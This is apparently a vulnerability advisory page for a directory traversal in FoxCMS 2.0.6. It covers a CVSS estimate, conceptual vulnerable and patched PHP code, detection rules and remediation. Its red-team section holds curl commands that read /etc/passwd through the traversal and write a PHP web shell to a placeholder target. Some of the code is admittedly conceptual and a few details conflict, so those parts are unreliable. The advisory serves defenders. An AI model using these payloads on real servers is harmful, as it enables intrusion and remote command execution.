CVE-2025-45239
Executive Summary
CVE-2025-45239 is a directory traversal vulnerability discovered in FoxCMS version 2.0.6. The flaw resides in the restores method of the DataBackup.php file, allowing an attacker to traverse directories outside the intended backup path. This can lead to unauthorized reading or writing of arbitrary files on the server, potentially exposing sensitive configuration files, source code, or system credentials. The vulnerability is currently unpatched, and no official fix has been released by the vendor. Given the lack of a patch and the public availability of exploit details, this vulnerability poses a significant risk to all instances of FoxCMS 2.0.6.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
FoxCMS is a PHP-based content management system. The vulnerability is in the core application code, not in a third-party package. However, administrators should verify the integrity of their FoxCMS installation and ensure no unauthorized modifications have been made. Since no patch is available, the only supply chain mitigation is to remove or isolate the vulnerable component.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability type (directory traversal), a reasonable CVSS v3.1 vector would be:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack Vector (AV): Network – The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – No authentication is needed.
- User Interaction (UI): None – No user action is required.
- Scope (S): Unchanged – The exploit does not affect other components.
- Confidentiality (C): High – Arbitrary file read is possible.
- Integrity (I): None – The vulnerability does not allow file modification.
- Availability (A): None – The vulnerability does not affect availability.
Base Score: 7.5 (High)
Threat Level: High – The vulnerability is easily exploitable, has public proof-of-concept, and no patch is available.
Deep Dive & Mechanics
The vulnerability is located in the restores method of the DataBackup.php file. This method is responsible for restoring database backups. The flaw occurs because the application does not properly sanitize user-supplied input used to construct file paths. An attacker can inject path traversal sequences (e.g., ../) to navigate outside the intended backup directory.
Vulnerable Code Snippet (Conceptual):
public function restores($filename) {
$backupDir = '/var/www/backups/';
$filePath = $backupDir . $filename;
// No validation of $filename for path traversal
if (file_exists($filePath)) {
// Restore logic
}
}
An attacker can call the restores method with a filename like ../../etc/passwd to read sensitive system files.
Attack Flow:
- The attacker identifies the vulnerable endpoint (e.g.,
/index.php?m=admin&c=DataBackup&a=restores). - The attacker sends a request with a crafted
filenameparameter containing directory traversal sequences. - The application constructs a file path using the unsanitized input.
- The application reads or writes the file at the traversed path, leading to information disclosure or potential code execution if write access is possible.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code remains as described. A patched version would include input validation and sanitization.
Vulnerable Code (Conceptual):
public function restores($filename) {
$backupDir = '/var/www/backups/';
$filePath = $backupDir . $filename;
if (file_exists($filePath)) {
// Restore logic
}
}
Patched Code (Conceptual):
public function restores($filename) {
$backupDir = realpath('/var/www/backups/');
$filePath = realpath($backupDir . '/' . basename($filename));
if (strpos($filePath, $backupDir) !== 0) {
die('Invalid path');
}
if (file_exists($filePath)) {
// Restore logic
}
}
The patched version uses realpath() to resolve the full path and then checks that the resolved path starts with the intended backup directory. It also uses basename() to strip any directory traversal components.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A target running FoxCMS 2.0.6.
- Network access to the admin interface (or the vulnerable endpoint if exposed).
Exploitation Steps:
Identify the vulnerable endpoint: The endpoint is typically
/index.php?m=admin&c=DataBackup&a=restores.Craft the exploit request: Use a tool like
curlto send a request with a path traversal payload.curl -X GET "http://target.com/index.php?m=admin&c=DataBackup&a=restores&filename=../../../../etc/passwd"Read sensitive files: If the application returns the file content, you have successfully exploited the vulnerability.
Example output:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...Attempt file write (if applicable): If the
restoresmethod also writes files, you could upload a malicious PHP file.curl -X POST "http://target.com/index.php?m=admin&c=DataBackup&a=restores" -d "filename=../../../../var/www/html/shell.php&data=<?php system($_GET['cmd']); ?>"
Blue Team
Detection and Response:
Monitor for path traversal patterns: Look for requests containing
../or..\\in parameters related to file operations.Check web server logs: Search for unusual GET or POST requests to
DataBackup.phpwith suspiciousfilenameparameters.Review file access logs: Identify any attempts to read files outside the web root (e.g.,
/etc/passwd,/etc/shadow).Implement virtual patching: Use a WAF to block requests containing path traversal sequences in the
filenameparameter.Isolate the vulnerable component: If possible, disable the
restoresfunctionality until a patch is available.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/index.php?m=admin&c=DataBackup&a=restoreswithfilenamecontaining../or..\\. - Unusual outbound connections from the web server to external IPs (if data exfiltration occurs).
File System IOCs:
- Unexpected files in the web root (e.g.,
shell.php,cmd.php). - Modified system files (e.g.,
/etc/passwdwith new entries). - Presence of backup files in unusual locations.
Log IOCs:
- Web server logs showing 200 responses to path traversal attempts.
- Error logs indicating file not found for paths outside the web root.
Detection Engineering
YARA Rule
rule CVE_2025_45239_Directory_Traversal {
meta:
description = "Detects directory traversal attempts targeting FoxCMS DataBackup.php restores method"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-45239"
strings:
$traversal1 = "../"
$traversal2 = "..\\"
$param = "filename="
$endpoint = "DataBackup.php"
condition:
$endpoint and $param and ($traversal1 or $traversal2)
}
Sigma Rule
title: FoxCMS DataBackup Directory Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-45239 directory traversal in FoxCMS
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'DataBackup.php'
- 'filename='
- '../'
- '..\\'
condition: selection
falsepositives:
- Legitimate backup file names containing dots (e.g., backup_2025..04..10.sql)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-45239 FoxCMS DataBackup Directory Traversal"; flow:to_server,established; content:"DataBackup.php"; http_uri; content:"filename="; http_uri; pcre:"/(\.\.\/|\.\.\\)/"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the
restoresfunctionality in the FoxCMS admin panel or remove theDataBackup.phpfile if not needed. - Implement a Web Application Firewall (WAF) rule to block path traversal patterns in the
filenameparameter. - Restrict file permissions on the web server to prevent the web user from reading sensitive system files.
Long-term Fix:
- The vendor must release a patch that properly sanitizes the
filenameinput usingbasename()andrealpath()as shown in the patched code example. - Until a patch is available, consider migrating to a different CMS or applying the conceptual patch manually.
Monitoring:
- Enable detailed logging for all requests to
DataBackup.php. - Set up alerts for any path traversal patterns detected in logs.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.